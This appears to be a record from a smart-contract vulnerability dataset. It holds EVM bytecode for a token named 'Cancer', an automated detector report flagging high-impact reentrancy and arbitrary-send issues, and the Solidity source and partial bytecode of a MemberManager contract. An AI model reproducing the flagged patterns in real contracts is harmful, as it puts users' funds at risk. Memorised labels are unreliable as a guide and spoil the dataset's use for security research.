00480360381019061038691906128c8565b6109aa565b005b34801561039957600080fd5b506103a2610ad4565b005b3480156103b057600080fd5b506103b9610b4e565b005b3480156103c757600080fd5b506103e260048036038101906103dd919061296b565b6110a9565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127f5565b6111f1565b6040516104189190612ee0565b60405180910390f35b60606040518060400160405280600681526020017f43616e6365720000000000000000000000000000000000000000000000000000815250905090565b600061047261046b611278565b8484611280565b6001905092915050565b6000670de0b6b3a7640000905090565b600061049984848461144b565b61055a846104a5611278565b6105558560405180606001604052806028815260200161363360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b611278565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b039092919063ffffffff16565b611280565b600190509392505050565b61056d611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612e40565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610666611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612e40565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610751611278565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611b67565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c62565b9050919050565b6107db611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612e40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f43414e4345520000000000000000000000000000000000000000000000000000815250905090565b60006109a0610999611278565b848461144b565b6001905092915050565b6109b2611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612e40565b60405180910390fd5b60005b8151811015610ad057600160066000848481518110610a6457610a6361329d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac8906131f6565b915050610a42565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b15611278565b73ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b6000610b4030610782565b9050610b4b81611cd0565b50565b610b56611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bda90612e40565b60405180910390fd5b601160149054906101000a900460ff1615610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612ec0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611280565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0857600080fd5b505afa158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4091906127c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906127c8565b6040518363ffffffff1660e01b8152600401610df7929190612c90565b602060405180830381600087803b158015610e1157600080fd5b505af1158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4991906127c8565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed230610782565b600080610edd610926565b426040518863ffffffff1660e01b8152600401610eff96959493929190612ce2565b6060604051808303818588803b158015610f1857600080fd5b505af1158015610f2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f519190612998565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff02191690831515021790555067016345785d8a00006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611053929190612cb9565b602060405180830381600087803b15801561106d57600080fd5b505af1158015611081573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a5919061293e565b5050565b6110b1611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590612e40565b60405180910390fd5b60008111611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612e00565b60405180910390fd5b6111af60646111a183670de0b6b3a7640000611f5890919063ffffffff16565b611fd390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e69190612ee0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790612ea0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612dc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143e9190612ee0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b290612e80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152290612d80565b60405180910390fd5b6000811161156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156590612e60565b60405180910390fd5b6005600a81905550600a600b81905550611586610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f457506115c4610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561169d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a657600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117515750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117bf5750601160179054906101000a900460ff165b1561186f576012548111156117d357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061181e57600080fd5b601e4261182b9190613016565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561191a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119705750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611986576005600a81905550600a600b819055505b600061199130610782565b9050601160159054906101000a900460ff161580156119fe5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a165750601160169054906101000a900460ff165b15611a3e57611a2481611cd0565b60004790506000811115611a3c57611a3b47611b67565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ae75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611af157600090505b611afd8484848461201d565b50505050565b6000838311158290611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b429190612d5e565b60405180910390fd5b5060008385611b5a91906130f7565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bb7600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be2573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c33600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5e573d6000803e3d6000fd5b5050565b6000600854821115611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca090612da0565b60405180910390fd5b6000611cb361204a565b9050611cc88184611fd390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d0857611d076132cc565b5b604051908082528060200260200182016040528015611d365781602001602082028036833780820191505090505b5090503081600081518110611d4e57611d4d61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611df057600080fd5b505afa158015611e04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2891906127c8565b81600181518110611e3c57611e3b61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611280565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f07959493929190612efb565b600060405180830381600087803b158015611f2157600080fd5b505af1158015611f35573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f6b5760009050611fcd565b60008284611f79919061309d565b9050828482611f88919061306c565b14611fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbf90612e20565b60405180910390fd5b809150505b92915050565b600061201583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612075565b905092915050565b8061202b5761202a6120d8565b5b61203684848461211b565b80612044576120436122e6565b5b50505050565b60008060006120576122fa565b9150915061206e8183611fd390919063ffffffff16565b9250505090565b600080831182906120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b39190612d5e565b60405180910390fd5b50600083856120cb919061306c565b9050809150509392505050565b6000600a541480156120ec57506000600b54145b156120f657612119565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061212d87612359565b95509550955095509550955061218b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226c81612469565b6122768483612526565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d39190612ee0565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000670de0b6b3a7640000905061232e670de0b6b3a7640000600854611fd390919063ffffffff16565b82101561234c57600854670de0b6b3a7640000935093505050612355565b81819350935050505b9091565b60008060008060008060008060006123768a600a54600b54612560565b925092509250600061238661204a565b905060008060006123998e8787876125f6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b03565b905092915050565b600080828461241a9190613016565b90508381101561245f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245690612de0565b60405180910390fd5b8091505092915050565b600061247361204a565b9050600061248a8284611f5890919063ffffffff16565b90506124de81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61253b826008546123c190919063ffffffff16565b6008819055506125568160095461240b90919063ffffffff16565b6009819055505050565b60008060008061258c606461257e888a611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125b660646125a8888b611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125df826125d1858c6123c190919063ffffffff16565b6123c190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260f8589611f5890919063ffffffff16565b905060006126268689611f5890919063ffffffff16565b9050600061263d8789611f5890919063ffffffff16565b905060006126668261265885876123c190919063ffffffff16565b6123c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061269261268d84612f95565b612f70565b905080838252602082019050828560208602820111156126b5576126b4613300565b5b60005b858110156126e557816126cb88826126ef565b8452602084019350602083019250506001810190506126b8565b5050509392505050565b6000813590506126fe816135ed565b92915050565b600081519050612713816135ed565b92915050565b600082601f83011261272e5761272d6132fb565b5b813561273e84826020860161267f565b91505092915050565b60008135905061275681613604565b92915050565b60008151905061276b81613604565b92915050565b6000813590506127808161361b565b92915050565b6000815190506127958161361b565b92915050565b6000602082840312156127b1576127b061330a565b5b60006127bf848285016126ef565b91505092915050565b6000602082840312156127de576127dd61330a565b5b60006127ec84828501612704565b91505092915050565b6000806040838503121561280c5761280b61330a565b5b600061281a858286016126ef565b925050602061282b858286016126ef565b9150509250929050565b60008060006060848603121561284e5761284d61330a565b5b600061285c868287016126ef565b935050602061286d868287016126ef565b925050604061287e86828701612771565b9150509250925092565b6000806040838503121561289f5761289e61330a565b5b60006128ad858286016126ef565b92505060206128be85828601612771565b9150509250929050565b6000602082840312156128de576128dd61330a565b5b600082013567ffffffffffffffff8111156128fc576128fb613305565b5b61290884828501612719565b91505092915050565b6000602082840312156129275761292661330a565b5b600061293584828501612747565b91505092915050565b6000602082840312156129545761295361330a565b5b60006129628482850161275c565b91505092915050565b6000602082840312156129815761298061330a565b5b600061298f84828501612771565b91505092915050565b6000806000606084860312156129b1576129b061330a565b5b60006129bf86828701612786565b93505060206129d086828701612786565b92505060406129e186828701612786565b9150509250925092565b60006129f78383612a03565b60208301905092915050565b612a0c8161312b565b82525050565b612a1b8161312b565b82525050565b6000612a2c82612fd1565b612a368185612ff4565b9350612a4183612fc1565b8060005b83811015612a72578151612a5988826129eb565b9750612a6483612fe7565b925050600181019050612a45565b5085935050505092915050565b612a888161313d565b82525050565b612a9781613180565b82525050565b6000612aa882612fdc565b612ab28185613005565b9350612ac2818560208601613192565b612acb8161330f565b840191505092915050565b6000612ae3602383613005565b9150612aee82613320565b604082019050919050565b6000612b06602a83613005565b9150612b118261336f565b604082019050919050565b6000612b29602283613005565b9150612b34826133be565b604082019050919050565b6000612b4c601b83613005565b9150612b578261340d565b602082019050919050565b6000612b6f601d83613005565b9150612b7a82613436565b602082019050919050565b6000612b92602183613005565b9150612b9d8261345f565b604082019050919050565b6000612bb5602083613005565b9150612bc0826134ae565b602082019050919050565b6000612bd8602983613005565b9150612be3826134d7565b604082019050919050565b6000612bfb602583613005565b9150612c0682613526565b604082019050919050565b6000612c1e602483613005565b9150612c2982613575565b604082019050919050565b6000612c41601783613005565b9150612c4c826135c4565b602082019050919050565b612c6081613169565b82525050565b612c6f81613173565b82525050565b6000602082019050612c8a6000830184612a12565b92915050565b6000604082019050612ca56000830185612a12565b612cb26020830184612a12565b9392505050565b6000604082019050612cce6000830185612a12565b612cdb6020830184612c57565b9392505050565b600060c082019050612cf76000830189612a12565b612d046020830188612c57565b612d116040830187612a8e565b612d1e6060830186612a8e565b612d2b6080830185612a12565b612d3860a0830184612c57565b979650505050505050565b6000602082019050612d586000830184612a7f565b92915050565b60006020820190508181036000830152612d788184612a9d565b905092915050565b60006020820190508181036000830152612d9981612ad6565b9050919050565b60006020820190508181036000830152612db981612af9565b9050919050565b60006020820190508181036000830152612dd981612b1c565b9050919050565b60006020820190508181036000830152612df981612b3f565b9050919050565b60006020820190508181036000830152612e1981612b62565b9050919050565b60006020820190508181036000830152612e3981612b85565b9050919050565b60006020820190508181036000830152612e5981612ba8565b9050919050565b60006020820190508181036000830152612e7981612bcb565b9050919050565b60006020820190508181036000830152612e9981612bee565b9050919050565b60006020820190508181036000830152612eb981612c11565b9050919050565b60006020820190508181036000830152612ed981612c34565b9050919050565b6000602082019050612ef56000830184612c57565b92915050565b600060a082019050612f106000830188612c57565b612f1d6020830187612a8e565b8181036040830152612f2f8186612a21565b9050612f3e6060830185612a12565b612f4b6080830184612c57565b9695505050505050565b6000602082019050612f6a6000830184612c66565b92915050565b6000612f7a612f8b565b9050612f8682826131c5565b919050565b6000604051905090565b600067ffffffffffffffff821115612fb057612faf6132cc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061302182613169565b915061302c83613169565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130615761306061323f565b5b828201905092915050565b600061307782613169565b915061308283613169565b9250826130925761309161326e565b5b828204905092915050565b60006130a882613169565b91506130b383613169565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130ec576130eb61323f565b5b828202905092915050565b600061310282613169565b915061310d83613169565b9250828210156131205761311f61323f565b5b828203905092915050565b600061313682613149565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061318b82613169565b9050919050565b60005b838110156131b0578082015181840152602081019050613195565b838111156131bf576000848401525b50505050565b6131ce8261330f565b810181811067ffffffffffffffff821117156131ed576131ec6132cc565b5b80604052505050565b600061320182613169565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132345761323361323f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f68161312b565b811461360157600080fd5b50565b61360d8161313d565b811461361857600080fd5b50565b61362481613169565b811461362f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d82c8dd458a0faa6f44fba727d6836072ab7a0ea2ea6e174dc790163b4495e864736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,766
0x18335e42155ce7cc7f5d1a1f88125c118a8717d8
pragma solidity ^0.4.23; // File: contracts/interfaces/ContractManagerInterface.sol /** * @title Contract Manager Interface * @author Bram Hoven * @notice Interface for communicating with the contract manager */ interface ContractManagerInterface { /** * @notice Triggered when contract is added * @param _address Address of the new contract * @param _contractName Name of the new contract */ event ContractAdded(address indexed _address, string _contractName); /** * @notice Triggered when contract is removed * @param _contractName Name of the contract that is removed */ event ContractRemoved(string _contractName); /** * @notice Triggered when contract is updated * @param _oldAddress Address where the contract used to be * @param _newAddress Address where the new contract is deployed * @param _contractName Name of the contract that has been updated */ event ContractUpdated(address indexed _oldAddress, address indexed _newAddress, string _contractName); /** * @notice Triggered when authorization status changed * @param _address Address who will gain or lose authorization to _contractName * @param _authorized Boolean whether or not the address is authorized * @param _contractName Name of the contract */ event AuthorizationChanged(address indexed _address, bool _authorized, string _contractName); /** * @notice Check whether the accessor is authorized to access that contract * @param _contractName Name of the contract that is being accessed * @param _accessor Address who wants to access that contract */ function authorize(string _contractName, address _accessor) external view returns (bool); /** * @notice Add a new contract to the manager * @param _contractName Name of the new contract * @param _address Address of the new contract */ function addContract(string _contractName, address _address) external; /** * @notice Get a contract by its name * @param _contractName Name of the contract */ function getContract(string _contractName) external view returns (address _contractAddress); /** * @notice Remove an existing contract * @param _contractName Name of the contract that will be removed */ function removeContract(string _contractName) external; /** * @notice Update an existing contract (changing the address) * @param _contractName Name of the existing contract * @param _newAddress Address where the new contract is deployed */ function updateContract(string _contractName, address _newAddress) external; /** * @notice Change whether an address is authorized to use a specific contract or not * @param _contractName Name of the contract to which the accessor will gain authorization or not * @param _authorizedAddress Address which will have its authorisation status changed * @param _authorized Boolean whether the address will have access or not */ function setAuthorizedContract(string _contractName, address _authorizedAddress, bool _authorized) external; } // File: contracts/interfaces/MemberManagerInterface.sol /** * @title Member Manager Interface * @author Bram Hoven */ interface MemberManagerInterface { /** * @notice Triggered when member is added * @param member Address of newly added member */ event MemberAdded(address indexed member); /** * @notice Triggered when member is removed * @param member Address of removed member */ event MemberRemoved(address indexed member); /** * @notice Triggered when member has bought tokens * @param member Address of member * @param tokensBought Amount of tokens bought * @param tokens Amount of total tokens bought by member */ event TokensBought(address indexed member, uint256 tokensBought, uint256 tokens); /** * @notice Remove a member from this contract * @param _member Address of member that will be removed */ function removeMember(address _member) external; /** * @notice Add to the amount this member has bought * @param _member Address of the corresponding member * @param _amountBought Amount of tokens this member has bought */ function addAmountBoughtAsMember(address _member, uint256 _amountBought) external; } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/MemberManager.sol /** * @title Member Manager * @author Bram Hoven * @notice Stores a list of member which can be used for something like authorization */ contract MemberManager is MemberManagerInterface { using SafeMath for uint256; // Map containing every member mapping(address => bool) public members; // Map containing amount of tokens bought mapping(address => uint256) public bought; // List containing all members address[] public memberKeys; // Name of this contract string public contractName; // Contract Manager ContractManagerInterface internal contractManager; /** * @notice Triggered when member is added * @param member Address of newly added member */ event MemberAdded(address indexed member); /** * @notice Triggered when member is removed * @param member Address of removed member */ event MemberRemoved(address indexed member); /** * @notice Triggered when member has bought tokens * @param member Address of member * @param tokensBought Amount of tokens bought * @param tokens Amount of total tokens bought by member */ event TokensBought(address indexed member, uint256 tokensBought, uint256 tokens); /** * @notice Constructor for creating member manager * @param _contractName Name of this contract for lookup in contract manager * @param _contractManager Address where the contract manager is located */ constructor(string _contractName, address _contractManager) public { contractName = _contractName; contractManager = ContractManagerInterface(_contractManager); } /** * @notice Add a member to this contract * @param _member Address of the new member */ function _addMember(address _member) internal { require(contractManager.authorize(contractName, msg.sender)); members[_member] = true; memberKeys.push(_member); emit MemberAdded(_member); } /** * @notice Remove a member from this contract * @param _member Address of member that will be removed */ function removeMember(address _member) external { require(contractManager.authorize(contractName, msg.sender)); require(members[_member] == true); delete members[_member]; for (uint256 i = 0; i < memberKeys.length; i++) { if (memberKeys[i] == _member) { delete memberKeys[i]; break; } } emit MemberRemoved(_member); } /** * @notice Add to the amount this member has bought * @param _member Address of the corresponding member * @param _amountBought Amount of tokens this member has bought */ function addAmountBoughtAsMember(address _member, uint256 _amountBought) external { require(contractManager.authorize(contractName, msg.sender)); require(_amountBought != 0); if(!members[_member]) { _addMember(_member); } bought[_member] = bought[_member].add(_amountBought); emit TokensBought(_member, _amountBought, bought[_member]); } }
0x6080604052600436106100775763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166308ae4b0c811461007c5780630b1ca49a146100b1578063667022fd146100d457806375d0c0dc14610107578063c592c3ba14610191578063f504b089146101b5575b600080fd5b34801561008857600080fd5b5061009d600160a060020a03600435166101e9565b604080519115158252519081900360200190f35b3480156100bd57600080fd5b506100d2600160a060020a03600435166101fe565b005b3480156100e057600080fd5b506100f5600160a060020a036004351661041f565b60408051918252519081900360200190f35b34801561011357600080fd5b5061011c610431565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015657818101518382015260200161013e565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506100d2600160a060020a03600435166024356104bf565b3480156101c157600080fd5b506101cd60043561069a565b60408051600160a060020a039092168252519081900360200190f35b60006020819052908152604090205460ff1681565b60048054604080517f8645770200000000000000000000000000000000000000000000000000000000815233600160a060020a0381811660248401529482019283526003805460026000196001831615610100020190911604604484018190526000969095169463864577029491938291606490910190859080156102c45780601f106102995761010080835404028352916020019161